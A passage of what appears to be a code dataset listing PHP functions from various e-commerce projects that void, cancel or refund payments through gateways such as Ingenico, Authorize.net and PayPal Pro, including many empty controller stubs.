$this->getHelper()->__(\n 'You already sent a void request. Please wait until the void request will be acknowledged.'\n )\n );\n return;\n }\n\n //Check if there is already a waiting capture transaction, if yes: redirect to order view\n if (Mage::helper('ops/directlink')->checkExistingTransact(\n self::OPS_CAPTURE_TRANSACTION_TYPE, $orderID\n )\n ) {\n $this->getHelper()->redirectNoticed(\n $orderID, $this->getHelper()->__(\n 'There is one capture request waiting. Please wait until this request is acknowledged.'\n )\n );\n return;\n }\n\n try {\n //perform ops cancel request\n $response = Mage::getSingleton('ops/api_directlink')\n ->performRequest(\n $requestParams,\n Mage::getModel('ops/config')->getDirectLinkGatewayPath($storeId),\n $order->getStoreId()\n );\n\n //Save ops response to payment transaction\n Mage::helper('ops/payment')->saveOpsStatusToPayment(\n $payment, $response\n );\n\n /*\n * If the ops response results in a waiting or uncertain state, create a void transaction which is waiting\n * for an asynchron directLink-postback\n */\n if ($response['STATUS'] == self::OPS_VOID_WAITING\n || $response['STATUS'] == self::OPS_VOID_UNCERTAIN\n ) {\n Mage::helper('ops/directlink')->directLinkTransact(\n Mage::getSingleton(\"sales/order\")->loadByIncrementId(\n $payment->getOrder()->getIncrementId()\n ),\n // reload order to avoid canceling order before confirmation from ops\n $response['PAYID'],\n $response['PAYIDSUB'],\n array(\n 'amount' => $voidAmount,\n 'void_request' => Mage::app()->getRequest()->getParams(\n ),\n 'response' => $response,\n ),\n self::OPS_VOID_TRANSACTION_TYPE,\n Mage::helper('ops')->__(\n 'Start Ingenico Payment Services void request. Ingenico Payment Services status: %s.',\n $this->getHelper()->getStatusText($response['STATUS'])\n )\n );\n $this->getHelper()->redirectNoticed(\n $orderID, $this->getHelper()->__(\n 'The void request is sent. Please wait until the void request will be accepted.'\n )\n );\n /*\n * If the ops response results directly in accepted state, create a void transaction and execute parent void method\n */\n } elseif ($response['STATUS'] == self::OPS_VOIDED\n || $response['STATUS'] == self::OPS_VOIDED_ACCEPTED\n ) {\n Mage::helper('ops/directlink')->directLinkTransact(\n Mage::getSingleton(\"sales/order\")->loadByIncrementId(\n $payment->getOrder()->getIncrementId()\n ),\n // reload order to avoid canceling order before confirmation from ops\n $response['PAYID'],\n $response['PAYIDSUB'],\n array(),\n self::OPS_VOID_TRANSACTION_TYPE,\n $this->getHelper()->__(\n 'Void order succeed. Ingenico Payment Services status: %s.',\n $response['STATUS']\n ),\n 1\n );\n return parent::void($payment);\n } else {\n Mage::getModel('ops/status_update')->updateStatusFor($payment->getOrder());\n Mage::throwException(\n $this->getHelper()->__(\n 'Void order failed. Ingenico Payment Services status: %s.',\n $response['STATUS']\n )\n );\n }\n ;\n } catch (Exception $e) {\n Mage::getModel('ops/status_update')->updateStatusFor($payment->getOrder());\n Mage::helper('ops')->log(\n \"Exception in void request:\" . $e->getMessage()\n );\n throw new Mage_Core_Exception($e->getMessage());\n }\n }", "abstract public function cancel_payment( Payment $payment );", "public function pysVoid(Varien_Object $payment)\r\n {\r\n $error = false;\r\n $szTransactionType = \"VOID\";\r\n $orderStatus = \"pys_voided\";\r\n $arAdditionalInformationArray;\r\n \r\n // attempt a VOID and accordingly to the last saved transaction id (CrossReference) set the new message \r\n $szLastTransId = $payment->getLastTransId();\r\n $transaction = $payment->getTransaction($szLastTransId);\r\n $szMagentoTxnType = $transaction->getTxnType();\r\n $szMessage = \"Payment voided\";\r\n \r\n if($szMagentoTxnType == \"capture\")\r\n {\r\n \t$szMessage = \"Payment voided\";\r\n }\r\n else if($szMagentoTxnType == \"authorization\")\r\n {\r\n \t$szMessage = \"PreAuthorization voided\";\r\n }\r\n else if($szMagentoTxnType == \"refund\")\r\n {\r\n \t$szMessage = \"Refund voided\";\r\n }\r\n else \r\n {\r\n \t// general message\r\n \t$szMessage = \"Payment voided\";\r\n }\r\n \r\n $error = $this->_runCrossReferenceTransaction($payment, $szTransactionType);\r\n\r\n if ($error === false)\r\n {\r\n \t$order = $payment->getOrder();\r\n \t$invoices = $order->getInvoiceCollection();\r\n \t$payment = $order->getPayment();\r\n \t$arAdditionalInformationArray = $payment->getAdditionalInformation();\r\n \t\r\n \t$arAdditionalInformationArray[\"Voided\"] = 1;\r\n \t$payment->setAdditionalInformation($arAdditionalInformationArray);\r\n \t$payment->save();\r\n \t\r\n \t// cancel the invoices\r\n \tforeach ($invoices as $invoice)\r\n \t{\r\n \t\t$invoice->cancel();\r\n \t\t$invoice->save();\r\n \t}\r\n \t\r\n \t// udpate the order\r\n \t$order->setActionBy($payment->getLggdInAdminUname())\r\n\t\t \t->setActionDate(date('Y-m-d H:i:s'))\r\n\t\t ->setVoided(1)\r\n\t\t ->setState('canceled', $orderStatus, $szMessage, false);\r\n\t\t\t$order->save();\r\n\t\t\t\r\n\t\t\t$result = \"0\";\r\n }\r\n else\r\n {\r\n \t\t$result = $error;\r\n }\r\n\r\n return $result;\r\n }", "public function void(Varien_Object $payment)\n {\n parent::void($payment);\n\n /** @var Mage_Sales_Model_Order $order */\n $order = $payment->getOrder();\n\n $this->_getHelper()->log(\"Void Model Payment Method\");\n\n $return = $this->cancelRequest($order);\n\n if(!is_array($return)) {\n Mage::throwException($this->_getHelper()->__('Unable to process void payment. Contact Us.'));\n }\n if($return['success'] == 0) {\n Mage::throwException($this->_getHelper()->__($return['return']));\n }\n\n try {\n $payment->setAdditionalInformation(\"cancellationId\", $return[\"return\"][\"cancellationId\"]);\n $payment->save();\n }\n catch (Exception $e) {\n Mage::logException($e);\n }\n\n return $this;\n }", "public function void(Varien_Object $payment)\n {\n return $this->cancel($payment);\n }", "public function void(Varien_Object $payment) {\n\t\t\tif($this->getDebug())\n\t\t\t{\n\t\t\t\t$writer = new Zend_Log_Writer_Stream($this->getLogPath());\n\t\t\t\t$logger = new Zend_Log($writer);\n\t\t\t\t$logger->info(\"entering void()\");\n\t\t\t}\n\t\t\t\n\t\t\t$gatewayResponse = $this->_call($payment,'void', 99999);\n\t\t\tif($this->getDebug()) { $logger->info(var_export($gatewayResponse, TRUE)); }\n\t\t\tif($gatewayResponse === false)\n\t\t\t{\n\t\t\t\t$e = $this->getError();\n\t\t\t\tif (isset($e['message'])) {\n\t\t\t\t\t$message = Mage::helper('acimpro')->__('There has been an error processing your payment.') . $e['message'];\n\t\t\t\t} else {\n\t\t\t\t\t$message = Mage::helper('acimpro')->__('There has been an error processing your payment. Please try again later.');\n\t\t\t\t}\n\t\t\t\tMage::throwException($message);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/*if the transaction is successfulyl approved then set payment status*/\n\t\t\t\tif ($gatewayResponse['Status']['statusCode'] == \"Ok\")\n\t\t\t\t{\n\t\t\t\t\t/* If there is an error processing the credit card */\n\t\t\t\t\tif($gatewayResponse['Status']['code'] == \"I00001\")\n\t\t\t\t\t{\n\t\t\t\t\t\t$cancelorder=true;\n\t\t\t\t\t\tif ($cancelorder) { $payment->getOrder()->setState('canceled', true, 'Canceled/Voided');\n\t\t\t\t\t\t} else { $payment->registerVoidNotification(); }\n\t\t\t\t\t\t$payment->setCcApproval($gatewayResponse['Status']['code'])\n\t\t\t\t\t\t\t->setTransactionId($gatewayResponse['Status']['transno'])\n\t\t\t\t\t\t\t->setCcTransId($gatewayResponse['Status']['transno'])\n\t\t\t\t\t\t\t->setCcAvsStatus($gatewayResponse['Status']['statusCode'])\n\t\t\t\t\t\t\t->setCcCidStatus($gatewayResponse['Status']['statusCode']);\n\t\t\t\t\t\t$payment->setStatus(self::STATUS_VOIDED);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMage::throwException(\"Authorize.net Gateway error : \" . $gatewayResponse['Status']['code'] . \": \" . $gatewayResponse['Status']['statusDescription']);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $this;\n\t\t}", "public function bluepay_void_payment($params)\n\t{\n\t\t$this->_api_method = 'VOID';\n\t\t$this->_request = $this->_build_request($params);\t\t\t\n\t\treturn $this->_handle_query();\t\n\t}", "function _doVoid($oID, $note = '') {\r\n global $db, $messageStack;\r\n\r\n $new_order_status = (int)MODULE_PAYMENT_AUTHORIZENET_ECHECK_REFUNDED_ORDER_STATUS_ID;\r\n if ($new_order_status == 0) $new_order_status = 1;\r\n $voidNote = strip_tags(zen_db_input($_POST['voidnote'] . $note));\r\n $voidAuthID = trim(strip_tags(zen_db_input($_POST['voidauthid'])));\r\n $proceedToVoid = true;\r\n if (isset($_POST['ordervoid']) && $_POST['ordervoid'] == MODULE_PAYMENT_AUTHORIZENET_ECHECK_ENTRY_VOID_BUTTON_TEXT) {\r\n if (isset($_POST['voidconfirm']) && $_POST['voidconfirm'] != 'on') {\r\n $messageStack->add_session(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_VOID_CONFIRM_ERROR, 'error');\r\n $proceedToVoid = false;\r\n }\r\n }\r\n if ($voidAuthID == '') {\r\n $messageStack->add_session(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_TRANS_ID_REQUIRED_ERROR, 'error');\r\n $proceedToVoid = false;\r\n }\r\n // Populate an array that contains all of the data to be sent to gateway\r\n $submit_data = array('x_type' => 'VOID',\r\n 'x_trans_id' => trim($voidAuthID) );\r\n /**\r\n * Submit void request to Gateway\r\n */\r\n if ($proceedToVoid) {\r\n $response = $this->_sendRequest($submit_data);\r\n $response_code = $response[0];\r\n $response_text = $response[3];\r\n $response_alert = $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');\r\n $this->reportable_submit_data['Note'] = $voidNote;\r\n $this->_debugActions($response);\r\n\r\n if ($response_code != '1' || ($response[0]==1 && $response[2] == 310) ) {\r\n $messageStack->add_session($response_alert, 'error');\r\n } else {\r\n // Success, so save the results\r\n $sql_data_array = array('orders_id' => (int)$oID,\r\n 'orders_status_id' => (int)$new_order_status,\r\n 'date_added' => 'now()',\r\n 'comments' => 'VOIDED. Trans ID: ' . $response[6] . ' ' . $response[4] . \"\\n\" . $voidNote,\r\n 'customer_notified' => 0\r\n );\r\n zen_db_perform(TABLE_ORDERS_STATUS_HISTORY, $sql_data_array);\r\n $db->Execute(\"update \" . TABLE_ORDERS . \"\r\n set orders_status = '\" . (int)$new_order_status . \"'\r\n where orders_id = '\" . (int)$oID . \"'\");\r\n $messageStack->add_session(sprintf(MODULE_PAYMENT_AUTHORIZENET_ECHECK_TEXT_VOID_INITIATED, $response[6], $response[4]), 'success');\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "public function quickbooksms_void_payment($params)\n\t{\n\t\t$this->_api_method = 'CustomerCreditCardTxnVoidRq';\n\t\t$this->_request = $this->_build_request($params);\t\t\t\n\t\treturn $this->_handle_query();\t\n\t}", "public function execute()\n {\n $agreementModel = $this->_initBillingAgreement();\n\n if ($agreementModel) {\n try {\n $agreementModel->delete();\n $this->messageManager->addSuccessMessage(\n __('You deleted the billing agreement.')\n );\n $this->_redirect('paypal/*/');\n return;\n } catch (\\Magento\\Framework\\Exception\\LocalizedException $e) {\n $this->messageManager->addExceptionMessage(\n $e,\n $e->getMessage()\n );\n } catch (\\Exception $e) {\n $this->messageManager->addExceptionMessage(\n $e,\n __('We can\\'t delete the billing agreement.')\n );\n }\n $this->_redirect('paypal/*/view', ['_current' => true]);\n }\n $this->_redirect('paypal/*/');\n }", "public function voidRequest()\n {\n $request = new Request\\VoidTransaction;\n return $this->applyAuthSettings($request);\n }", "public function voidAction()\n {\n $model = Mage::getSingleton('paymentsensegateway/direct');\n $parameters = $this->getRequest()->getParams();\n $szOrderID = $parameters['OrderID'];\n $szCrossReference = $parameters['CrossReference'];\n \n $order = Mage::getModel('sales/order')->loadByIncrementId((int)$szOrderID);\n $payment = $order->getPayment();\n \n $result = Mage::getModel('paymentsensegateway/direct')->pysVoid($payment);\n \n if($result == \"0\")\n {\n $model->addOrderedItemsToStock($order);\n }\n \n return $this->getResponse()->setBody($result);\n }", "public function actionPaypalCancel($payment_id) {\n /*Do what you want*/ \n }", "protected function doExecutePayment() {\n // This method is empty so child classes can override it and provide their\n // own implementation.\n }", "public function cancel()\n {\n dd('Your payment is canceled. You can create cancel page here.');\n }", "public function voidPayment($mode, $country, $saleId, $paymentData = [])\n {\n $requestParams = [];\n if (!empty($paymentData))\n {\n $requestParams = array_merge($requestParams, $paymentData);\n }\n /*\n{\n \"cancellationDetails\": {\n \"totalGrossAmount\": 100.00,\n \"currency\": \"EUR\",\n \"risk\": {\n \"channelType\": \"CallCenter\",\n \"deliveryType\": \"Express\"\n },\n \"items\": [\n {\n \"productId\": \"1\",\n \"description\": \"Tablet Black\",\n \"grossUnitPrice\": 40.00,\n \"quantity\": 2.0\n },\n {\n \"productId\": \"2\",\n \"description\": \"MusicPlayer Black\",\n \"grossUnitPrice\": 20.00,\n \"quantity\": 1.0\n }\n ]\n }\n}\n */\n\n $response = $this->post($mode, $country, '/api/v3/orders/' . $saleId . '/voids', $requestParams);\n\n return $response;\n }", "public function void(Request $request)\n {\n\n $payment = new VoidPayment($request);\n\n $payment = $payment->voidOrder(false);\n\n if ($payment instanceof ResponseInterface) {\n\n return json_decode($payment->getBody()->__toString());\n\n }\n\n return new JsonResponse($payment, 200);\n\n }", "public function void(Varien_Object $payment)\n {\n if (!$this->canVoid($payment)) {\n Mage::throwException(Mage::helper('payment')->__('Void action is not available.'));\n }\n $this->_api->doVoidOrder($payment->getOrder());\n return $this;\n }", "abstract protected function handlePayment();", "public function destroy(IntentionToPay $intentionToPay)\n {\n //\n }", "public function cancelAction() {\n\n return $this->_redirect('/order_basis/payment');\n }", "abstract public function refund( Payment $payment );", "public function cancel_payment( $order_id ) {\n\t\t\t$order = new WC_Order( $order_id );\n\n\t\t\t$txn_id = get_post_meta( $order_id, '_transaction_id', true );\n\t\t\t$captured = get_post_meta( $order_id, '_paypalpro_charge_captured', true );\n\n\t\t\t$payment_method = version_compare( WC_VERSION, '3.0', '<' ) ? $order->payment_method : $order->get_payment_method();\n\n\t\t\tif ( 'paypal_pro' === $payment_method && $txn_id && 'no' === $captured ) {\n\n\t\t\t\t$paypalpro = new WC_Gateway_PayPal_Pro();\n\n\t\t\t\t$url = $paypalpro->testmode ? $paypalpro->testurl : $paypalpro->liveurl;\n\n\t\t\t\t$post_data = array(\n\t\t\t\t\t'VERSION' => $paypalpro->api_version,\n\t\t\t\t\t'SIGNATURE' => $paypalpro->api_signature,\n\t\t\t\t\t'USER' => $paypalpro->api_username,\n\t\t\t\t\t'PWD' => $paypalpro->api_password,\n\t\t\t\t\t'METHOD' => 'DoVoid',\n\t\t\t\t\t'AUTHORIZATIONID' => $txn_id,\n\t\t\t\t);\n\n\t\t\t\t$response = wp_remote_post( $url, array(\n\t\t\t\t\t'method'\t\t=> 'POST',\n\t\t\t\t\t'headers' => array(\n\t\t\t\t\t\t'PAYPAL-NVP' => 'Y',\n\t\t\t\t\t),\n\t\t\t\t\t'body' => $post_data,\n\t\t\t\t\t'timeout' => 70,\n\t\t\t\t\t'user-agent' => 'WooCommerce',\n\t\t\t\t\t'httpversion' => '1.1',\n\t\t\t\t));\n\n\t\t\t\tif ( is_wp_error( $response ) ) {\n\t\t\t\t\t$order->add_order_note( __( 'Unable to void charge!', 'woocommerce-gateway-paypal-pro' ) . ' ' . $response->get_error_message() );\n\n\t\t\t\t} else {\n\t\t\t\t\tparse_str( $response['body'], $parsed_response );\n\n\t\t\t\t\t$order->add_order_note( sprintf( __( 'PayPal Pro void complete (Authorization ID: %s)', 'woocommerce-gateway-paypal-pro' ), $parsed_response['AUTHORIZATIONID'] ) );\n\n\t\t\t\t\tdelete_post_meta( $order_id, '_paypalpro_charge_captured' );\n\t\t\t\t\tdelete_post_meta( $order_id, '_transaction_id' );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( 'paypal_pro_payflow' === $payment_method && $txn_id && 'no' === $captured ) {\n\n\t\t\t\t$paypalpro_payflow = new WC_Gateway_PayPal_Pro_Payflow();\n\n\t\t\t\t$url = $paypalpro_payflow->testmode ? $paypalpro_payflow->testurl : $paypalpro_payflow->liveurl;\n\n\t\t\t\t$post_data = array();\n\t\t\t\t$post_data['USER'] = $paypalpro_payflow->paypal_user;\n\t\t\t\t$post_data['VENDOR'] = $paypalpro_payflow->paypal_vendor;\n\t\t\t\t$post_data['PARTNER'] = $paypalpro_payflow->paypal_partner;\n\t\t\t\t$post_data['PWD'] = $paypalpro_payflow->paypal_password;\n\t\t\t\t$post_data['TRXTYPE'] = 'V'; // Void.\n\t\t\t\t$post_data['ORIGID'] = $txn_id;\n\n\t\t\t\t$response = wp_remote_post( $url, array(\n\t\t\t\t\t'method' => 'POST',\n\t\t\t\t\t'body' => urldecode( http_build_query( $post_data, null, '&' ) ),\n\t\t\t\t\t'timeout' => 70,\n\t\t\t\t\t'user-agent' => 'WooCommerce',\n\t\t\t\t\t'httpversion' => '1.1',\n\t\t\t\t));\n\n\t\t\t\tparse_str( $response['body'], $parsed_response );\n\n\t\t\t\tif ( is_wp_error( $response ) ) {\n\t\t\t\t\t$order->add_order_note( __( 'Unable to void charge!', 'woocommerce-gateway-paypal-pro' ) . ' ' . $response->get_error_message() );\n\n\t\t\t\t} elseif ( '0' !== $parsed_response['RESULT'] ) {\n\t\t\t\t\t$order->add_order_note( __( 'Unable to void charge!', 'woocommerce-gateway-paypal-pro' ) . ' ' . $response->get_error_message() );\n\n\t\t\t\t\t// Log it.\n\t\t\t\t\t$paypalpro_payflow->log( 'Parsed Response ' . print_r( $parsed_response, true ) );\n\t\t\t\t} else {\n\t\t\t\t\t$order->add_order_note( sprintf( __( 'PayPal Pro (Payflow) void complete (PNREF: %s)', 'woocommerce-gateway-paypal-pro' ), $parsed_response['PNREF'] ) );\n\n\t\t\t\t\tdelete_post_meta( $order_id, '_paypalpro_charge_captured' );\n\t\t\t\t\tdelete_post_meta( $order_id, '_transaction_id' );\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function cancelApproval(InvoiceInterface $invoice): void;", "function close_payment(){\n\t\t$payment_id = $this->uri->segment(3);\n\t\t$this->Students_model->delete_transaction($payment_id);\n\t\t\n\t\t$id = $_POST['student_id'];\n\t\t$batch_id = $_POST['batch_id'];\n\t\t$this->data['fee_paid_list'] = $this->Students_model->get_students_fee_paid_detail($id, $batch_id);\n\t\t$this->data['voucher_list'] = $this->Students_model->get_students_vouchers($id, $batch_id); // For refund details echo \"Hi...\";\n\t\t\n\t\t$this->load->view('settings/students/fee_paid_list',$this->data);\n\t}", "public function abortAction()\n {\n /** @var $session Mage_Checkout_Model_Session */\n $session = Mage::getSingleton('checkout/session');\n $order = Mage::getModel('sales/order');\n\n try {\n /** @var $order Mage_Sales_Model_Order */\n\n $order->loadByIncrementId($session->getLastRealOrderId());\n $order->addStatusHistoryComment('Customer cancelled the payment',false);\n\n if (!$order->getId()) {\n Mage::throwException('No order for processing found');\n }\n if($order->canCancel()) {\n $order->cancel()->save();\n }\n } catch (Exception $e) {\n\n }\n\n $quote = Mage::getSingleton('sales/quote');\n $quote->load($order->getQuoteId());\n $session->setQuoteId($order->getQuoteId());\n $session->getQuote()->setIsActive(1)->save();\n\n // redirect customer to the cart (dirty)\n $redirectUrl = Mage::helper('checkout/cart')->getCartUrl();\n $block = new Mage_Core_Block_Template();\n $block->setTemplate('mcpservice/redirect.phtml');\n $block->assign('url',$redirectUrl);\n $block->assign('media_url',Mage::getBaseUrl() . '/../../media/micropayment/');\n $block->assign('year',date('Y'));\n $block->assign('payment_method',$order->getPayment());\n $block->assign('target','parent');\n\n echo $block->renderView();\n\n }", "public function void(\\Magento\\Payment\\Model\\InfoInterface $payment)\n {\n if ($this->backendAuthSession->isLoggedIn()) {\n // Get the store code\n $storeCode = $payment->getOrder()->getStore()->getCode();\n\n // Initialize the API handler\n $api = $this->apiHandler->init($storeCode);\n\n // Check the status\n if (!$this->canVoid()) {\n throw new \\Magento\\Framework\\Exception\\LocalizedException(\n __('The void action is not available.')\n );\n }\n\n // Process the void request\n $response = $api->voidOrder($payment);\n if (!$api->isValidResponse($response)) {\n throw new \\Magento\\Framework\\Exception\\LocalizedException(\n __('The void request could not be processed.')\n );\n }\n\n // Set the transaction id from response\n $payment->setTransactionId($response->action_id);\n }\n\n return $this;\n }", "public function destroy(Payment $canceled_payment)\n {\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function destroy(Payment $payment)\n {\n //\n }", "public function void( \\IPS\\nexus\\Transaction $transaction )\n\t{\n\t\t$this->api( array(\n\t\t\t'x_type'\t\t\t=> 'VOID',\n\t\t\t'x_trans_id'\t\t=> $transaction->gw_id,\n\t\t) );\n\t}", "public function destroy(Payment $payment)\r\n { \r\n \r\n return redirect('ud');\r\n }", "public function paymentAction()\n {\n try {\n $session = $this->_getCheckout();\n\n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId($session->getLastRealOrderId());\n if (!$order->getId()) {\n Mage::throwException('No order for processing found');\n }\n $order->setState(Paw_Payanyway_Model_Abstract::STATE_PAYANYWAY_PENDING, Paw_Payanyway_Model_Abstract::STATE_PAYANYWAY_PENDING,\n Mage::helper('payanyway')->__('The customer was redirected to Payanyway.')\n );\n $order->save();\n\n $session->setPayanywayQuoteId($session->getQuoteId());\n $session->setPayanywayRealOrderId($session->getLastRealOrderId());\n $session->getQuote()->setIsActive(false)->save();\n $session->clear();\n\n $this->loadLayout();\n $this->renderLayout();\n } catch (Exception $e){\n Mage::logException($e);\n parent::_redirect('checkout/cart');\n }\n }", "public function processPayment();", "public function actionUnsubscribe(){\n $perfil = \\app\\models\\PerfilUsuario::find()->where(['fk_usuario'=>Yii::$app->user->id])->one();\n $igualas_user_viejo = \\app\\models\\IgualasUsers::find()->where(['fk_users_cliente'=>$perfil->id, 'estatus'=>'concretado'])->one();\n if ($igualas_user_viejo){\n $plan_viejo = \\app\\models\\Igualas::find()->where(['id'=>$igualas_user_viejo->fk_iguala])->one();\n try {\n $agreement_viejo = paypalSuspendPlanToUser($igualas_user_viejo->subscription_id);\n }catch(\\Exception $e){\n Yii::$app->getSession()->setFlash('danger',$e->getMessage());\n return $this->redirect(['update', 'id' => Yii::$app->user->id]);\n }\n // $igualas_user_viejo->delete();\n if ($agreement_viejo){\n $igualas_user_viejo->estatus = \"cancelado\";\n $igualas_user_viejo->save();\n Yii::$app->session->setFlash('success', 'Usted ha cancelado la subscripción correctamente.');\n }\n else{\n Yii::$app->session->setFlash('error', 'Problemas al cancelar la subscripción');\n }\n }\n return $this->redirect(['update', 'id' => Yii::$app->user->id]);\n }", "private function merchantPageCancel()\n {\n $cart = $this->context->cart;\n\n $customer = new Customer($cart->id_customer);\n\n if (!Validate::isLoadedObject($customer) || !isset($this->module->currentOrder)) {\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n\n $id_order = $this->module->currentOrder;\n if (! $id_order || null == $id_order || empty($id_order)) {\n $id_order = Context::getContext()->cookie->__get('aps_apple_order_id');\n $this->aps_payment->refillCart($id_order);\n $this->aps_helper->log('refill cart and merchantPageCancel called');\n }\n Context::getContext()->cookie->apsErrors = $error_message;\n Tools::redirect('index.php?controller=order&step=1');\n }\n $this->aps_payment->merchantPageCancel();\n $objOrder = new Order($this->module->currentOrder);\n if ($objOrder) {\n $this->aps_payment->refillCart($objOrder->id);\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n Context::getContext()->cookie->apsErrors = $error_message;\n $this->aps_helper->log('merchantPageCancel called');\n\n Tools::redirect('index.php?controller=order&step=1');\n } else {\n $error_message = $this->module->l('You have cancelled the payment, please try again.');\n Context::getContext()->cookie->__set('aps_error_msg', $error_message);\n Tools::redirect(\n 'index.php?fc=module&module=amazonpaymentservices&controller=error&action=displayError'\n );\n }\n }", "public function destroy(PaymentReturn $paymentReturn)\n {\n //\n }", "public function canVoid(Varien_Object $payment)\n {\n if ($payment instanceof Mage_Sales_Model_Order_Invoice\n || $payment instanceof Mage_Sales_Model_Order_Creditmemo\n ) {\n return false;\n }\n $info = $this->getInfoInstance();\n return $this->_canVoid\n && $info->getAdditionalInformation(\n Radial_PayPal_Model_Express_Checkout::PAYMENT_INFO_IS_AUTHORIZED_FLAG\n )\n && !$info->getAdditionalInformation(\n Radial_PayPal_Model_Express_Checkout::PAYMENT_INFO_IS_VOIDED_FLAG\n );\n }", "public function declineSingle(){\n\t\tif(isset($_SESSION['admin_email'])){\n\t\t$this->model(\"AdminApproveModel\");\n\t\tif(isset($_POST['admin_decline'])){\n\t\t\t$this->sanitizeString($_POST['admin_decline']);\n\t\t\t$id = $this->sanitizeString($_POST['id']);\n\t\t\tAdminApproveModel::where('id', $id)->delete();\n\t\t}\n\t}\n\n\t}", "public function cancelAuthorizationByPaymentShouldCallCancelAuthorization(): void\n {\n $authorization = (new Authorization())->setId('s-aut-1');\n $heidelpay = new Heidelpay('s-priv-1234');\n\n /** @var ResourceService|MockObject $resourceSrvMock */\n $resourceSrvMock = $this->getMockBuilder(ResourceService::class)->setMethods(['fetchAuthorization'])->disableOriginalConstructor()->getMock();\n $resourceSrvMock->expects($this->exactly(2))->method('fetchAuthorization')->willReturn($authorization);\n /** @var CancelService|MockObject $cancelSrvMock */\n $cancelSrvMock = $this->getMockBuilder(CancelService::class)->setMethods(['cancelAuthorization'])->disableOriginalConstructor()->getMock();\n $cancelSrvMock->expects($this->exactly(2))->method('cancelAuthorization')->withConsecutive([$authorization, null], [$authorization, 1.123]);\n $heidelpay->setResourceService($resourceSrvMock)->setCancelService($cancelSrvMock);\n\n $cancelSrvMock->cancelAuthorizationByPayment(new Payment());\n $cancelSrvMock->cancelAuthorizationByPayment(new Payment(), 1.123);\n }", "function paypal_cancel()\n {\n $payment_id = $this->session->userdata('payment_id');\n $this->db->where('package_payment_id', $payment_id);\n $this->db->delete('package_payment');\n recache();\n $this->session->set_userdata('payment_id', '');\n $this->session->set_flashdata('alert', 'paypal_cancel');\n redirect(base_url() . 'home/plans', 'refresh');\n }", "public function execute()\n {\n // debug mode\n $this->_helper->debug('Start \\Afterpay\\Afterpay\\Controller\\Payment\\Response::execute() with request ' . $this->_jsonHelper->jsonEncode($this->getRequest()->getParams()));\n\n $query = $this->getRequest()->getParams();\n $order = $this->_checkoutSession->getLastRealOrder();\n\n // Check if not fraud detected not doing anything (let cron update the order if payment successful)\n if ($this->_afterpayConfig->getPaymentAction() == AbstractMethod::ACTION_AUTHORIZE_CAPTURE) {\n //Steven - Bypass the response and do capture\n $redirect = $this->_processAuthCapture($query);\n } elseif (!$this->response->validCallback($order, $query)) {\n $this->_helper->debug('Request redirect url is not valid.');\n }\n // debug mode\n $this->_helper->debug('Finished \\Afterpay\\Afterpay\\Controller\\Payment\\Response::execute()');\n\n // Redirect to cart\n $this->_redirect($redirect);\n }", "public function cancel(Token $token): Payment;", "public function cancelAction()\n\t{\n\t\t$this->_redirect('checkout/onepage/failure');\n\t}", "public function finishPurchase() {}", "public function paymentAction()\r\n {\r\n if($this->Request()->getParam('confimOffer',false)) {\r\n return $this->redirect(array(\r\n 'controller' => 'sKUZOOffer',\r\n 'action' => 'finish'\r\n ));\r\n }\r\n\r\n try{\r\n $agbChecked = $this->Request()->getParam('sAGB', false);\r\n $offerCheckAGB = Shopware()->Plugins()->Backend()->sKUZOOffer()->Config()->offerCheckAGB;\r\n if(!$agbChecked && (isset($offerCheckAGB) && !empty($offerCheckAGB))) {\r\n return $this->forward('offers');\r\n }\r\n\r\n $this->prepareBasket();\r\n if (empty($this->session['sOrderVariables'])) {\r\n return $this->forward('offers');\r\n }\r\n\r\n $offerId = $this->Request()->getParam('offerId');\r\n Shopware()->Session()->offerId = $offerId;\r\n\r\n if (empty($this->View()->sPayment['embediframe'])\r\n && empty($this->View()->sPayment['action'])) {\r\n $this->redirect(array(\r\n 'controller' => 'checkout',\r\n 'action' => 'finish',\r\n 'sAGB' => 1,\r\n 'offerAcception' => 1\r\n ));\r\n\r\n } else {\r\n $this->redirect(array(\r\n 'controller' => 'checkout',\r\n 'action' => 'payment',\r\n 'sAGB' => 1\r\n ));\r\n }\r\n\r\n } catch (Exception $e) {\r\n $order = Shopware()->Modules()->Order();\r\n $order->sDeleteTemporaryOrder();\r\n $this->sDeleteBasketOrder();\r\n throw new Enlight_Exception(\"Error making Order:\" . $e->getMessage(), 0, $e);\r\n }\r\n\r\n }", "public function complete(){\n\n\t\tif (isset($_GET[\"paymentId\"]) && $_GET[\"paymentId\"] == session('paypal_payment_id')) {\n\t\t\t$result = $this->paypal->execute_payment($_GET[\"paymentId\"], $_GET[\"PayerID\"], $this->mode);\n \n\t\t\t// get amount\n\t\t\t$amount = $result->transactions[0]->amount;\n\t\t\t$amount = $amount->total;\n\n\t\t\t// get Transaction Id\n\t\t\t$transactions = $result->getTransactions();\n\t\t\t$related_resources = $transactions[0]->getRelatedResources();\n\t\t\t$sale = $related_resources[0]->getSale();\n\t\t\t$get_transaction_fee = $sale->getTransactionFee();\n\t\t\t$sale_id = $sale->getId();\n\n\n\t\t\tif(!empty($result) && $result->state == 'approved'){\n\n\t\t\t\trequire_once 'orders.php';\n\t\t\t\t$data_order = (object)array(\n\t\t\t\t\t'payment_type' => $this->payment_type,\n\t\t\t\t\t'amount' => $amount,\n\t\t\t\t\t'txt_id' => $sale_id,\n\t\t\t\t\t'transaction_fee' => $get_transaction_fee->getValue(),\n\t\t\t\t\t'order_details' => 